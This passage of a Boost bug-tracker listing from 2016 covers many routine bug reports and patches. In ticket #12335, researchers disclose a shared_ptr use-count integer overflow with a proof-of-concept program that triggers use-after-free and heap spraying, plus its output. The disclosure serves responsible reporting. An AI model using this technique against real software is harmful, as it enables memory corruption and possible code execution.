  ~~~~                    ^~~~~~~~~~
/Users/brett/local/include/boost/filesystem/string_file.hpp:38:22: warning:
      implicit conversion changes signedness: 'std::size_t'
      (aka 'unsigned long') to 'streamsize' (aka 'long') [-Wsign-conversion]
  file.read(&str[0], sz);

#12372: property_tree::get_optional without the template parameter

harris.pc@… — Wed, 03 Aug 2016 01:25:11 GMT

Is it possible to call

tree.get_optional<Data>(path) without the <Data> ? Note that Data is the type of the tree's Data.

Would also be nice to be able to get the data as a pointer so that data can be updated in-place instead of get/push.

Like this, implemented as a free function (for the non-const variant):

Data * get_dataptr_optional( Tree & tree, string const& path ) {

if (optional<Tree &> node = tree.get_child_optional(path))

return &node->data();

return NULL;

}

cheers, Paul

#12370: Make winapi_mutex_wrapper official

gast128@… — Tue, 02 Aug 2016 15:56:43 GMT

I couldn't find a reference in the documentation. The winapi_mutex_wrapper has some advantages over the named_mutex:

+ not file based; i.e. no chance of leaking files in case crash
+ no problem of singleton destruction order. We use 'remove' in our own singleton but that gives a problem being in 'atexit'
- Win32 / Win64 specific

While portability is a good thing, we solely develop for Windows so the more handy Windows solution is ok. There is already a windows_shared_memory (which is also more handy than the portable shared_memory_object). Can't this one be promoted to official?

#12368: Improve property_tree documentation for path_of

harris.pc@… — Tue, 02 Aug 2016 08:44:13 GMT

There is no documentation on the path_of system,

I did find this helpful email: http://lists.boost.org/Archives/boost/2009/06/152883.php

It would be great if something like that were in the official documentation.

In the end, I managed to create my own extension for storing a tree of filenames, here is the key code, just in case you feel its a good example for the documentation.

(Code is still not fully tested)

// a custom path-string,
// I am not using fs::path because I need to treat a directory and a file
// differently in terms of the name, where
// a directory has a / on the end of its name.
// This allows me to have a tree with a file and folder existing in the tree
// at the same time (the file may have been replaced with the folder, so one
// is deleted and the other is created).
//
class PathString
{
   string filename;
public:
   PathString( string const& p ) : filename(p) {}
   bool is_dir() const { return not empty() and filename[filename.size()-1] == '/'; }
   string const& str() const { return filename; }
   bool empty() const { return filename.empty(); }
   bool operator<( PathString const& b ) const
   {
      return filename < b.filename;
   }
   bool operator==( PathString const& b ) const
   {
      return filename == b.filename;
   }
};
namespace boost {
   namespace property_tree {
      // specialisation of path_of for PathString
      template <>
      struct path_of<PathString>
      {
         struct type
         {
            std::string filename;
            std::string::size_type start, size;
         public:
            type( std::string const& s ) :
               filename(s),
               start(0),
               size(filename.size())
            {}
            std::string dump() const
            {
               return filename.substr(start);
            }
            bool empty() const
            {
               return start == size;
            }
            // aka pop_front() and return the fragment
            // modifies this value
            std::string reduce()
            {
               assert(not empty());
               std::string::size_type next_sep = filename.find('/', start);
               // no separator, or separator found at the end
               if (next_sep == std::string::npos or next_sep+1 == size)
               {
                  std::string part;
                  part.swap(filename);
                  return part;
               }
               // include the trailing separator
               std::string::size_type old_start = start;
               start = next_sep+1;
               return filename.substr(old_start, start-old_start);
            }
            bool single() const
            {
               // will return true if empty, it should not be asked for empty paths anyway
               // it is a "single" path if there is a slash BEFORE the last character.
               // if the last character is /, then it can be a "single" directory.
               //
               // so check if idx < filename.size()-1 --therefore--> idx+1 < filename.size()
               std::string::size_type idx = filename.find('/');
               return idx == std::string::npos or idx+1 < filename.size();
            }
         };
      };

#12365: fail to build under mingw

anonymous — Sat, 30 Jul 2016 08:45:21 GMT

Hi there. I cannot install boost under mingw. Accordingly to documentation i should start with bootstrap.bat without arguments in tools\build\ but it fails to run with reason: "'cl' is not recognized as an internal or external command"

(of course it is not recognized, i don't have visual studio at all!)

While i'm trying to run .\bootstrap.bat mingw i've got 'Unknown toolset: mingw'

Please, create rigth documentation to build it under mingw so that user should'n try different propositions like from http://stackoverflow.com/questions/38103244/building-boost-1-61-0-with-mingw-5-3-0 which doesn't work

#12361: in string_parse_tree one constructor does not initialize m_value

Fri, 29 Jul 2016 13:05:25 GMT

This will lead to undefined behavior. The constructor:

 string_parse_tree(collection_type names, unsigned int starting_point=0)

is at fault here and needs to be fixed. Identified by coverity and appears to be present in the development trunk.

#12360: dead code detected by coverity in mersenne_twister

Fri, 29 Jul 2016 12:42:17 GMT

This is from boost 1.54 - it would be wise to re-test this on the development trunk to ensure it is still there before resolving it. This would be considered a trivial performance optimization by removing a branch.

    {
   assignment: Assigning: j = 623UL.
   const: At condition j < 623UL, the value of j must be equal to 623.
   dead_error_condition: The condition j < 623UL cannot be true.
430        for(std::size_t j = n-1-unroll_extra2; j < n-1; j++) {
   CID 10152 (#1 of 1): Logically dead code (DEADCODE)dead_error_begin: Execution cannot reach this statement: y = (this->x[j] & 0x8000000....
431            UIntType y = (x[j] & upper_mask) | (x[j+1] & lower_mask);
432            x[j] = x[j-(n-m)] ^ (y >> 1) ^ ((x[j+1]&1) * a);
433        }
434    }

#12359: eventfd_select_interrupter calls fcntl without checking the return code

Fri, 29 Jul 2016 12:27:03 GMT

This occurs 8 times within the implementation file:

Lines 51 to 55:

  if (read_descriptor_ != -1)
  {
    ::fcntl(read_descriptor_, F_SETFL, O_NONBLOCK);
    ::fcntl(read_descriptor_, F_SETFD, FD_CLOEXEC);
  }

Lines 67 to 71:

    if (read_descriptor_ != -1)
    {
      ::fcntl(read_descriptor_, F_SETFL, O_NONBLOCK);
      ::fcntl(read_descriptor_, F_SETFD, FD_CLOEXEC);
    }

Lines 78 to 86:

    if (pipe(pipe_fds) == 0)
    {
      read_descriptor_ = pipe_fds[0];
      ::fcntl(read_descriptor_, F_SETFL, O_NONBLOCK);
      ::fcntl(read_descriptor_, F_SETFD, FD_CLOEXEC);
      write_descriptor_ = pipe_fds[1];
      ::fcntl(write_descriptor_, F_SETFL, O_NONBLOCK);
      ::fcntl(write_descriptor_, F_SETFD, FD_CLOEXEC);
    }

This goes as far back as 1.54 and is present in the development trunk. In these cases, what is the correct behavior if fcntl fails? I assume throwing a boost::system::error_code? Does any resource need to be released/closed explicitly in these cases?

#12358: epoll_reactor calls fcntl without checking return code

jim.king@… — Fri, 29 Jul 2016 12:12:09 GMT

From lines 469 to 473 of epoll_reactor.ipp:

  if (fd == -1 && (errno == EINVAL || errno == ENOSYS))
  {
    fd = epoll_create(epoll_size);
    if (fd != -1)
      ::fcntl(fd, F_SETFD, FD_CLOEXEC);
  }

This is at least as far back as 1.54 however it is present in the development trunk too. Should this fcntl fail for some reason, what is the correct behavior?

#12357: Seg Fault running bcp in 1.61.0 when trying to build in custom namespace

Thu, 28 Jul 2016 17:56:44 GMT

Using Ubuntu 16.04.1 LTS, I was trying to install boost 1.61.0 in a custom name space.

I downloaded boost, placed it into a directory, ran:

$ ./booststap $ ./b2 tools/bcp $ mkdir -p /tmp/myboost $ ./dist/bin/bcp --namespace=myboost --namespace-alias accumulators algorithm array asio assign atomic bimap bind context chrono circular_buffer crc date_time filesystem foreach format fusion function geometry interprocess iostreams iterator lexical_cast lockfree math mpl pool program_options property_tree ptr_container random range regex signals2 system smart_ptr test thread timer tokenizer tuple utility uuid build boostrap.bat bootstrap.sh boostcpp.jam boost-build.jam /tmp/myboost/

This yields pages and pages of warnings, mostly about missing assets, and then seg faults.

CAUTION: don't know how to trace depenencies through macro: "PP1" in file: boost/type_traits/detail/is_function_ptr_helper.hpp
CAUTION: don't know how to trace depenencies through macro: "PP1" in file: boost/type_traits/detail/is_function_ptr_helper.hpp
CAUTION: don't know how to trace depenencies through macro: "PP1" in file: boost/type_traits/detail/is_function_ptr_helper.hpp
CAUTION: don't know how to trace depenencies through macro: "PP1" in file: boost/type_traits/detail/is_function_ptr_tester.hpp
...
CAUTION: don't know how to trace depenencies through macro: "PPI" in file: boost/type_traits/detail/is_mem_fun_pointer_tester.hpp
INFO: tracking source dependencies of library smart_ptr due to presence of "void sp_scalar_constructor_hook( void * px, std::size_t size, void * pn );" in file "boost/smart_ptr/detail/sp_counted_impl.hpp"
CAUTION: dependent file libs/accumulators/doc/html/boost/accumulators/impl/../../../images/accumulators//form_113.png does not exist.
   Found while scanning file libs/accumulators/doc/html/boost/accumulators/impl/weighted_variance_impl.html
CAUTION: dependent file libs/accumulators/doc/html/boost/accumulators/impl/../../../images/accumulators//form_6.png does not exist.
   Found while scanning file libs/accumulators/doc/html/boost/accumulators/impl/weighted_variance_impl.html
CAUTION: dependent file libs/accumulators/doc/html/boost/accumulators/impl/../../../images/accumulators//form_5.png does not exist.
...
CAUTION: dependent file libs/asio/doc/html/boost_asio/reference/generic__datagram_protocol/../../../../../doc/src/boostbook.css does not exist.
   Found while scanning file libs/asio/doc/html/boost_asio/reference/generic__datagram_protocol/datagram_protocol.html
CAUTION: dependent file libs/asio/doc/html/boost_asio/reference/generic__datagram_protocol/datagram_protocol/../../../../../../doc/src/boostbook.css does not exist.
   Found while scanning file libs/asio/doc/html/boost_asio/reference/generic__datagram_protocol/datagram_protocol/overload1.html
CAUTION: dependent file libs/asio/doc/html/boost_asio/reference/generic__raw_protocol/../../../../../doc/src/boostbook.css does not exist.
   Found while scanning file libs/asio/doc/html/boost_asio/reference/generic__raw_protocol/endpoint.html
Segmentation fault (core dumped)

I've tried with relative paths and absolute paths, I've also reduced the number of packages, etc.. no difference.

The same procedure works however with 1.60.0.

#12356: Failed build for msvc 11.0 with global setup script in combination with rewrite option

Christian.Steinle@… — Thu, 28 Jul 2016 15:04:56 GMT

Problem: The compilation of Boost with the utilization of a global setup script, that should be cached in C:\Temp, results in the error: "error: rewriting setup script for the second time". By the way, this error would be only shown, if one adds the line:

import Errors ;

in front of the proper error line in the file msvc.jam. Nevertheless the error occurs.

Prerequisite:

user-config.jam:

using msvc : 11.0 : : <setup>"C:\prepareEnvironment.bat" <rewrite-setup-scripts>always ;

Reason: A closer look to the file msvc.jam shows that the global setup script is used to build the cache files for the standard as well as the phone setup in C:Ttemp. Although this is not bad, the circumstance that the script argument is additionally equal for both, the situation ends then badly with two problems. The first one is identified by the impossibility to differentiate the requests in the global setup scripts, and the second one leads to the reported error, becauser the generated name of the two different cache file is equal (C:\Temp\b2_msvc_prepareEnvironment_x86.cmd). The corresponding lines of code are: msvc.jam(985):

local cpu = i386 amd64 ia64 arm
...
local global-setup = [ feature.get-values <setup> : $(options) ] ;
global-setup = $(global-setup[1]) ;
local global-setup-phone = $(global-setup) ;
...
local phone-cpu = i386 arm ;

Solution: Simply enable a second global script for the phone setup, which needs to have a different name, and/or append an additional postfix to the generated names of the cache files. This solution seems to be good, because the standard scripts in the Microsoft Visual Studio are also different (vcvarsall.bat versus vcvarsphoneall.bat).

local global-setup = [ feature.get-values <setup> : $(options) ] ;
global-setup = $(global-setup[1]) ;
local global-setup-phone = [ feature.get-values <setup-phone> : $(options) ] ;
global-setup-phone = $(global-setup-phone[1]) ;

#12355: False self intersection

jan.kleemann@… — Wed, 27 Jul 2016 15:00:08 GMT

Please see the following code:

#include <boost/geometry.hpp>
#include <boost/geometry/geometries/point_xy.hpp>
#include <boost/geometry/geometries/polygon.hpp>
using namespace boost::geometry;
typedef double FloatType;
typedef model::d2::point_xy<FloatType> Point;
typedef model::polygon<Point> Polygon;
typedef model::multi_polygon<Polygon> MultiPolygon;
typedef model::ring<Point> Ring;
typedef model::box<Point> Box;
typedef model::linestring<Point> LineString;
int main(int argc, char *argv[])
{
   using namespace std;
   Polygon p1;
   boost::geometry::read_wkt("POLYGON((440408.69120520249 5684415.5176829416,"
                                      "440376.96050000004 5684329.5744000003,"
                                      "440376.93154344801 5684329.5945822615,"
                                      "440408.69005920028 5684415.5145825278,"
                                      "440408.69120520249 5684415.5176829416))", p1);
   std::string err;
   bool valid = boost::geometry::is_valid(p1, err);
   cout << "is_valid(p1): " << (valid?"true":"false") << ":\n" << err << endl;
   Polygon p2;
   boost::geometry::read_wkt("POLYGON(("
                             "440408.83723096416 5684415.9121634094,"
                             "440421.56219999958 5684410.6604999993,"
                             "440423.30049999990 5684412.0036999993,"
                             "440439.33189999964 5684394.8839999996,"
                             "440423.75960000046 5684357.4199000001,"
                             "440420.99959999975 5684350.7814000007,"
                             "440404.12129999977 5684310.1740000006,"
                             "440393.24469999969 5684317.6517999992,"
                             "440377.49349999987 5684329.2028999999,"
                             "440376.96050000004 5684329.5744000003,"
                             "440408.69005920028 5684415.5145825278,"
                             "440408.69120520249 5684415.5176829416,"
                             "440408.83689894457 5684415.9118452258,"
                             "440408.83723096416 5684415.9121634094))", p2);
   MultiPolygon mp;
   union_(p1, p2, mp);
   cout << "mp: " << boost::geometry::wkt(mp) << endl;
   return 0;
}

Output:

is_valid(p1): false:
Geometry has invalid self-intersections. A self-intersection point was found at (440409, 5.68442e+006); method: i; operations: i/u; segment IDs {source, multi,
ring, segment}: {0, -1, -1, 0}/{0, -1, -1, 2}
mp: MULTIPOLYGON(((440409 5.68442e+006,440409 5.68442e+006,440377 5.68433e+006,440409 5.68442e+006)))

Both polygons (p1 and p2) are in fact valid, without any self-intersections. But boost.geometry sees one and can't union the two polygons correctly.

Thank you, for the good work.

#12354: boost::asio::connect crash when connect_condition sets iterator to end

snua12@… — Wed, 27 Jul 2016 10:11:54 GMT

example:

auto getIPV4Only = [](const error_code& ec, iterator next) {
	resolver::iterator end;
	while (!ec && next != end) {
		if (next->endpoint().address().is_v4()) return next;
		++next;
	}
	return next;
};
connect(socket, iterator, getIPV4Only, ec); //<- crashes when getIPV4Only returns end

fix:

--- include/boost/asio/impl/connect.hpp (revision 1.6.0)
+++ include/boost/asio/impl/connect.hpp (working copy)
@@ -122,7 +122,9 @@
       s.connect(*iter, ec);
       if (!ec)
         return iter;
-    }
+       } else {
+               break;
+       }
   }
   if (!ec)

#12352: factory object fails to be assigned to function object when deducing constructor argument (C++11 only)

Tue, 26 Jul 2016 14:08:36 GMT

When assigning a constructed boost::factory to a boost::function and having the factory template automatically deduce the constructor parameter, it fails to build in C++11, but not C++98.

I used g++ 5.4.0 on Linux, x86-64.

I'm attaching both my minimal test program and the error output.

#12351: boost::make_shared doesn't use constructor forwarding through move emulation

me@… — Tue, 26 Jul 2016 09:03:12 GMT

Currently, boost::make_shared doesn't perform constructor forwarding unless C++11 r-value references are supported. This prevents using of MOVABLE_BUT_NOT_COPYABLE types as arguments to constructors.

The Boost.Move documentation describes how to perform (limited) constructor forwarding. It's example is perfectly applicable to boost::make_shared.

The change in boostorg/smart_ptr#24 implements constructor forwarding for make_shared as documented in Boost.Move's documentation.

With this change the difference between the code supporting r-value references but not supporting variadic templates became the type signature and the call to boost::detail::sp_forward and boost::forward. The first difference was eliminated by using the macro BOOST_FWD_REF, the second by using boost::forward in both places, making the two pieces of code textually equal and thus I also removed the duplicate.

#12347: linestring and polygon intersection wrong answer

Sat, 23 Jul 2016 19:07:02 GMT

LINESTRING(1 -1, 1 0, 1 1) and POLYGON((0 0, 0 2, 2 2, 2 0, 1 0, 0 0)) intersection is LINESTRING(1 -1, 1 0, 1 1) for integer coordinate type. Test code is attached.

I beleive that's because of middle point of ((1 -1), (1, 0)) segment is (1, 0) :(

#12346: Boost downloaded docs for asio don't work

anonymous — Fri, 22 Jul 2016 17:12:23 GMT

The docs for asio located in the Boost download (https://sourceforge.net/projects/boost/files/boost/1.61.0/boost_1_61_0.tar.gz) don't work.

#12344: boost::fusion::extension::struct_member_name doesn't work with a const sequence

Fri, 22 Jul 2016 12:33:18 GMT

Here is the code to reproduce the bug:

struct Hello { int World; };
BOOST_FUSION_ADAPT_STRUCT(Hello, World);
int main() {
    using Seq = const Hello; // <- works when const is removed
    std::cout << boost::fusion::extension::struct_member_name<Seq, 0>::call();
}

Link to wandbox

As stated in the comment, the code works fine when const is removed.

I think that struct_member_name should call std::remove_const or std::remove_cv.

#12341: Enhancement for multi_array resize

eugvor@… — Thu, 21 Jul 2016 18:48:30 GMT

Multi_array can have index_bases, it's really great, but resize only works for growing to the higher indexes. Would be nice to put a bit more code to resize it to the lower indexes as well, just add offset during a copy view to transfer data into a new array inside of the resize method. I've made an implementation outside of boost as a separate method. But it simple enough to add this resize downwards as well as upwards into the boost multi_array::resize implementation.

#12338: compiler warnings in unused variables and typedef

anonymous — Thu, 21 Jul 2016 12:46:15 GMT

Compiling boost/numeric/interval gave compiler warnings.

The following changes fixes these:

--- boost_1_61_0/boost/numeric/interval/arith2.hpp	2016-05-05 23:13:19.000000000 +0200
+++ b/boost/numeric/interval/arith2.hpp	2016-07-21 14:19:20.675084428 +0200
@@ -273,7 +273,6 @@
   if (interval_lib::detail::test_input(x)) return I::empty();
   assert(k > 0);
   if (k == 1) return x;
-  typename Policies::rounding rnd;
   typedef typename interval_lib::unprotect<I>::type R;
   if (!interval_lib::user::is_pos(x.upper())) {
     if (interval_lib::user::is_zero(x.upper())) {
--- boost_1_61_0/boost/numeric/interval/utility.hpp	2016-05-05 23:13:19.000000000 +0200
+++ b/boost/numeric/interval/utility.hpp	2016-07-21 14:19:54.064881144 +0200
@@ -248,7 +248,6 @@
 template<class T, class Policies> inline
 T norm(const interval<T, Policies>& x)
 {
-  typedef interval<T, Policies> I;
   if (interval_lib::detail::test_input(x)) {
     typedef typename Policies::checking checking;
     return checking::nan();

#12335: Integer overflow in use counter of shared pointers.

Wed, 20 Jul 2016 09:27:16 GMT

We (Christian Wressnegger, Fabian Yamaguchi, and Alwin Maier) would like to report an integer overflow of the use counter in the share_pointer object of the Boost Libraries version 1.61.0 and before. Exploiting the flaw requires some very specific prerequisites to be met, a successful attempt however allows an attacker to execute code. Consequently, this might be worth addressing.

The following conditions must hold true in order to trigger the overflow:

The target is compiled and runs on an architecture where sizeof(size_t) is larger than sizeof(int), e.g. 64 bit systems with the LP64 (Linux/ BSD) or LLP64 (Windows) data model in order to allocate more UINT_MAX Objects.

The attacker is capable of triggering the creation of a multitude of shared objects.

The attacker can make one of these shared pointers go out of scope, e.g., by instructing the system to remove a state object.

The following short program (shared_ptr_overflow.cpp) demonstrates the bug: First, we create a shared pointer referencing a minimal class MyClass. Second, 0xFFFFFFFF more references are created which results in the use counter to flip over to 0 again. Finally, we add one more reference (use counter is incremented to 1) and make one of the shared pointers go out of scope. As a result the use counter is decremented to 0 and the contained object is freed, leaving 0xFFFFFFFF shared pointer object behind, that still reference that memory region. Subsequently, an attacker may allocate memory containing arbitrary data such as executable code to take the place of the freed object and make all references left behind point to that piece of data.

--- snip (shared_ptr_overflow.cpp) ----
//#define HAS_ENOUGH_MEMORY
int main()
{
    std::cout << "1) Create an object and pass it over to a shared pointer..." << std::endl;
    // We initialize the object on the heap and set x to 10.
    shared_ptr<MyClass> ptr(new MyClass(10));
    std::cout << "   ptr.use_count() -> " << ptr.use_count() << std::endl;
    // use-count is 1
    const size_t numPtrs = (size_t) 0xFFFFFFFF;
#ifdef HAS_ENOUGH_MEMORY
    std::cout << "2) Create 0x" << std::hex << numPtrs << " more references to that object..." << std::endl;
    std::vector<shared_ptr<MyClass>> v(numPtrs);
    for (size_t i = 0; i < numPtrs; i++)
    {
        v[i] = ptr;
    }
    std::cout << "   ptr.use_count() -> " << ptr.use_count() << std::endl;
    // use-count is 0
    std::cout << "3) Create one more reference..." << std::endl;
    {
        shared_ptr<MyClass> ptr2 = ptr;
        std::cout << "   ptr.use_count() -> " << ptr.use_count() << std::endl;
        // use-count is 1
        std::cout << "4) That last reference goes out of scope again now..." << std::endl;
    }
#else
    {
        std::cout << "2) Create an extra reference to that object..." << std::endl;
        shared_ptr<MyClass> ptr2 = ptr;
        std::cout << "   ptr.use_count() -> " << ptr.use_count() << std::endl;
        // use-count is 2
        std::cout << "3) Emulate 0x" << std::hex << numPtrs << " more references to that object..." << std::endl;
        for(size_t i = 0; i < numPtrs; i++){
            memset(&ptr, '\0', sizeof(shared_ptr<MyClass>));
            ptr = ptr2;
        }
        std::cout << "   ptr.use_count() -> " << ptr.use_count() << std::endl;
        // use-count is 1
        std::cout << "4) One reference goes out of scope again now..." << std::endl;
    }
#endif
    std::cout << "   ptr.use_count() -> " << ptr.use_count() << std::endl;
    // use-count is 0
    std::cout << "5) We now spray the heap with 'A's to overwrite the freed memory" << std::endl;
    for(int i = 0; i < 1000; i++){
        char *foo = new char[4];
        memset(foo, 'A', 4);
    }
    // The address stored in ptr is still that of the free'd object
    std::cout << "   ptr: " << (void *) ptr.get() << std::endl;
    // ptr->x is now 0x41414141
    std::cout << "   value: " << std::hex << ptr->x << std::endl;
    std::cout << "*) Bye!" << std::endl;
#ifdef HAS_ENOUGH_MEMORY
    v.clear();
    std::cout << std::endl;
    std::cout << "Destroying the last reference causes a double-free of the object..." << std::endl;
#endif
    return 0;
}
--- /snip ---

For testing purposes the program can be compiled and run with the HAS_ENOUGH_MEMORY definition commented out, in order to reduce the hardware prerequisites. To test this, build the demo application using the provided make file, and execute the program as follows:

--- snip ---
$ make boost
$ "./boost::shared_ptr"
--- /snip ---

This results in the following output:

--- snip (output) ---
1) Create an object and pass it over to a shared pointer...
   ptr.use_count() -> 1
2) Create an extra reference to that object...
   ptr.use_count() -> 2
3) Emulate 0xffffffff more references to that object...
   ptr.use_count() -> 1
4) One reference goes out of scope again now...
   destruct: 0x173d030
   ptr.use_count() -> 0
5) We now spray the heap with 'A's to overwrite the freed memory
   ptr: 0x173d030
   value: 41414141
*) Bye!
--- /snip ---

In the following we point out the locations in the source code that make this attack possible. In the Boost library shared pointer (class shared_ptr) make use of shared_count objects for reference counting, which in turn uses a sp_counted_base implementation for a particular platform.

--- snip (boost/smart_ptr/smart_ptr.hpp) ---
template<class T> class shared_ptr
{
    // ...
private:
    element_type * px;                 // contained pointer
    boost::detail::shared_count pn;    // reference counter          (!)
};  // shared_ptr
--- /snip ---

--- snip (boost/smart_ptr/detail/sp_counted_base_gcc_ia64.hpp) ---
class sp_counted_base
{
private:
    sp_counted_base( sp_counted_base const & );
    sp_counted_base & operator= ( sp_counted_base const & );
    int use_count_;        // #shared                                (A)
    int weak_count_;       // #weak + (#shared != 0)
public:
    sp_counted_base(): use_count_( 1 ), weak_count_( 1 )
    {
    }
    virtual ~sp_counted_base() // nothrow
    {
    }
    // dispose() is called when use_count_ drops to zero, to release
    // the resources managed by *this.
    virtual void dispose() = 0; // nothrow
    // destroy() is called when weak_count_ drops to zero.
    virtual void destroy() // nothrow
    {
        delete this;
    }
    virtual void * get_deleter( sp_typeinfo const & ti ) = 0;
    virtual void * get_untyped_deleter() = 0;
    void add_ref_copy()
    {
        atomic_increment( &use_count_ );                             (B)
    }
    bool add_ref_lock() // true on success
    {
        return atomic_conditional_increment( &use_count_ ) != 0;
    }
    void release() // nothrow
    {
        if( atomic_decrement( &use_count_ ) == 0 )                   (C)
        {
            dispose();
            weak_release();
        }
    }
    // ...
};
--- /snip ---

Given that the hardware qualifications are met, on 64-bit systems the number of allocated objects is only limited by the register size. Due to the migration between platforms and the resulting difference in size a register may hold larger integers than the int type (A) allows. sizeof(int) == 4 on 32 and 64-bit systems.

Consequently, the use_count_ variable is incremented until it flips over to negative numbers, zero and finally to 1 (B). This is particularily interesting as once a single reference is then destroyed the referenced object is destroyed as well (C). This however leaves 0xFFFFFFFF shared pointers behind that still reference the freed memory location.

Kind regards, Christian Wressnegger (TU Braunschweig)

#12332: Couple of bugs found in version 1.60.0

Paz_Offer@… — Mon, 18 Jul 2016 13:58:07 GMT

Hi Boost,

Please note the following bug report

BUG-1
File: 1.60.0\boost\program_options\detail\cmdline.hpp
Line: 139
Expression: 'args'
The bug:
This variable is a member of class 'cmdline', thus name should be prefixed with 'm_'. This later will become a problem as methods arguments are using the name 'args' for method arguments and thus new 'args' is hiding class member 'args'.

BUG-2
File: 1.60.0\libs\program_options\src\variables_map.cpp
Line: 71
Expression: '

string original_token =

...'

The bug:
Variable 'original_token' is already defined in this scope at line 43. This new declaration of same variable hides previous declaraion.

Thanks, Paz

#12331: BOOST_FUSION_ADAPT_STRUCT doesn't work with empty struct on Visual Studio

Mon, 18 Jul 2016 12:06:18 GMT

The following code works fine on GCC and Clang:

#include <boost/fusion/adapted/struct/adapt_struct.hpp>
class EmptyStruct {};
BOOST_FUSION_ADAPT_STRUCT(EmptyStruct);
int main() {}

But on Visual Studio 2015 Update 3, it gives the following error:

error C2220: warning treated as error - no 'object' file generated
warning C4003: not enough actual parameters for macro 'BOOST_PP_SEQ_DETAIL_IS_NOT_EMPTY'
warning C4003: not enough actual parameters for macro 'BOOST_PP_SEQ_DETAIL_EMPTY_SIZE

#12326: boost::iostreams -- CRC error while decompressing certain gzip files

joel.nordell@… — Wed, 13 Jul 2016 14:08:38 GMT

Given a gzip file that was written in multiple parts using Z_FULL_FLUSH, and one of those parts is empty (zero length), boost::iostreams::gzip_decompressor expects an incorrect CRC and fails.

See attached example file. The zcat utility decompresses this file just fine, but boost::iostreams::gzip_decompressor fails after "Line 6".

I have provided a test case and a fix for this issue, in a github pull request: https://github.com/boostorg/iostreams/pull/29

#12325: Boost syslog as TCP

Hendrik Schall — Wed, 13 Jul 2016 13:05:22 GMT

The boost syslog backend only supports UDP. TCP would be appreciated. Log4j does support this e.g.

#12320: add an example to demonstrate how to leverage sockets concurrently in multithreading scenarios

luxiaoshuang@… — Sat, 09 Jul 2016 09:06:56 GMT

The ideal solution of leveraging sockets concurrently in multithreading scenarios should 1. not block io workers (the threads where io_service.run() is invoked), 2. be free of lock race, 3. etc.

There are many threads when you are searching this issue in google, but usable code is hard to find.

In this proposal, I offer a reference implementation to the people who wanna call async_write family in multiple threads.

#12318: Problem using Boost 1.61.0 with VTK Marching Cubes

psmit057@… — Fri, 08 Jul 2016 12:42:13 GMT

Hello,

I seem to be having a problem using Boost 1.61.0 in conjunction with VTK 7.0.0. My purpose for using Boost is to obtain the filenames of all PNG files in any given folder using the following code:

#define BOOST_FILESYSTEM_VERSION 3
#define BOOST_FILESYSTEM_NO_DEPRECATED
#include "boost/filesystem.hpp"
namespace fs = ::boost::filesystem;
// return the filenames of all files that have the specified extension
// in the specified directory and all subdirectories
void get_all(const fs::path& root, const string& ext, vector<fs::path>& ret)
{
    if(!fs::exists(root) || !fs::is_directory(root)) return;
    fs::recursive_directory_iterator it(root);
    fs::recursive_directory_iterator endit;
    while(it != endit)
    {
        if(fs::is_regular_file(*it) && it->path().extension() == ext) ret.push_back(it->path().filename());
        ++it;
    }
}

This code is used as part of the CXX file, which is built with an appropriate CMakeLists file using CMake 3.5.1 to produce a corresponding .xcodeproj file.

However, the main problem that I'm facing is that attempting to build the project using an ALL_BUILD scheme in Xcode 7.0.1 leads to a series of errors pointing to the #include statements of the header files in the Boost folder (which is located in the same folder as the CXX and CMakeLists files).

For instance, it starts off saying that "'boost/filesystem/config.hpp' file not found" in response to the following line of boost/filesystem.hpp:

#  include <boost/filesystem/config.hpp>

Such errors could be resolved if I were to modify the syntax of the #include statements to follow a different format:

#  include "./filesystem/config.hpp"

i.e., replacing the <> with "" and using relative paths to find the other required header files.

However, going in to modify every single header file is a sort of tedium that I find it difficult to handle, and therefore I was hoping for a simpler solution to this problem.

By the way, I am on a Mac, and my operating system is El Capitan version 10.11.5.

Thank you in advance.

#12316: ASIO: "Undefined error: 0" on the Mac OS 10.10 and 10.11

Thu, 07 Jul 2016 14:30:49 GMT

Hello. I have some issue with asio. When I try to connect/read/write (blocking and async operations), i get "Undefined error: 0" in the boost::error_code parameter. Interesting thing is that data transfers successfully. Only problem is Undefined error and infinity reads with zero bytes read. iOS (device and simulator) has this error too. If there's nobody listening on the port I try to connect to, "Connection refused" error is returned to the async_connect callback (which is correct behavior). So "Undefined error: 0" appears only if somebody is listening port on the other side.

Compiling with xCode and standalone clang with command like clang++ -std=c++11 -Ipath/to/asio/include async_tcp_echo_server.cpp -oserver

There's an issue on the asio's github tracker, but there's no activity at all. https://github.com/chriskohlhoff/asio/issues/121

Thank you a lot!

#12315: boost::interprocess_exception - library_error exception when creating shared_memory_object

Oleg — Thu, 07 Jul 2016 08:59:17 GMT

Problem description and workaround

#12314: boost::geometry::within for a point in a geographic coordinate system fails

oleary.simon@… — Thu, 07 Jul 2016 07:47:37 GMT

I am using the geometry part of the library for a GIS application. The idea is to find points within defined regions (a rectangle in this case). This works sometimes but not always. Here is an example where the point should be within the rectangle but isn't...

#include <boost/geometry.hpp>
#include <boost/geometry/geometries/polygon.hpp>
#include <boost/geometry/multi/geometries/multi_polygon.hpp>
#include <boost/geometry/geometries/register/point.hpp>
#include <iostream>
#include <boost/geometry/io/wkt/wkt.hpp>
class wxPoint
{
public :
    double  getx() const
    {
        return m_x;
    }
    double gety() const
    {
        return m_y;
    }
    void setx( double in)
    {
        m_x = in;
    }
    void sety(double in)
    {
        m_y = in;
    }
private:
    double m_x;
    double m_y;
};
BOOST_GEOMETRY_REGISTER_POINT_2D_GET_SET(
    wxPoint,
    double,
    boost::geometry::cs::geographic<boost::geometry::degree>,
    wxPoint::getx,
    wxPoint::gety,
    wxPoint::setx,
    wxPoint::sety )
int main()
{
    boost::geometry::model::polygon< wxPoint > poly;
    boost::geometry::read_wkt( "POLYGON((0 89, 180 89, 180 0, 0 0, 0 89 ))", poly );
    wxPoint point;
    point.setx( 150 );
    point.sety( 88 );
    bool within = boost::geometry::within( point, poly );
    return 0;
}

#12313: sockaddr_storage_type doesn't have a member named ss_len

Thu, 07 Jul 2016 05:17:21 GMT

If the configuration macro BOOST_ASIO_HAS_GETADDRINFO is not defined, compile error is occurred the following line: https://github.com/boostorg/asio/blob/boost-1.61.0/include/boost/asio/detail/impl/socket_ops.ipp#L3318

Because the class sockaddr_storage_type doen't have a member variable ss_len.

See: https://github.com/boostorg/asio/blob/boost-1.61.0/include/boost/asio/detail/socket_types.hpp#L111

#12312: UTF8 system error reporting for Win32

anonymous — Tue, 05 Jul 2016 06:07:42 GMT

Allow to get messages from error_code in UTF8 encoding on Win32.

To enable UTF8 mode need define BOOST_WINDOWS_ERRORS_IN_UTF8 pre-processor directive

Patch affect to Boost.Iostreams and Boost.System library.

#12310: xlc++: lexical_cast.hpp "invalid processing token"

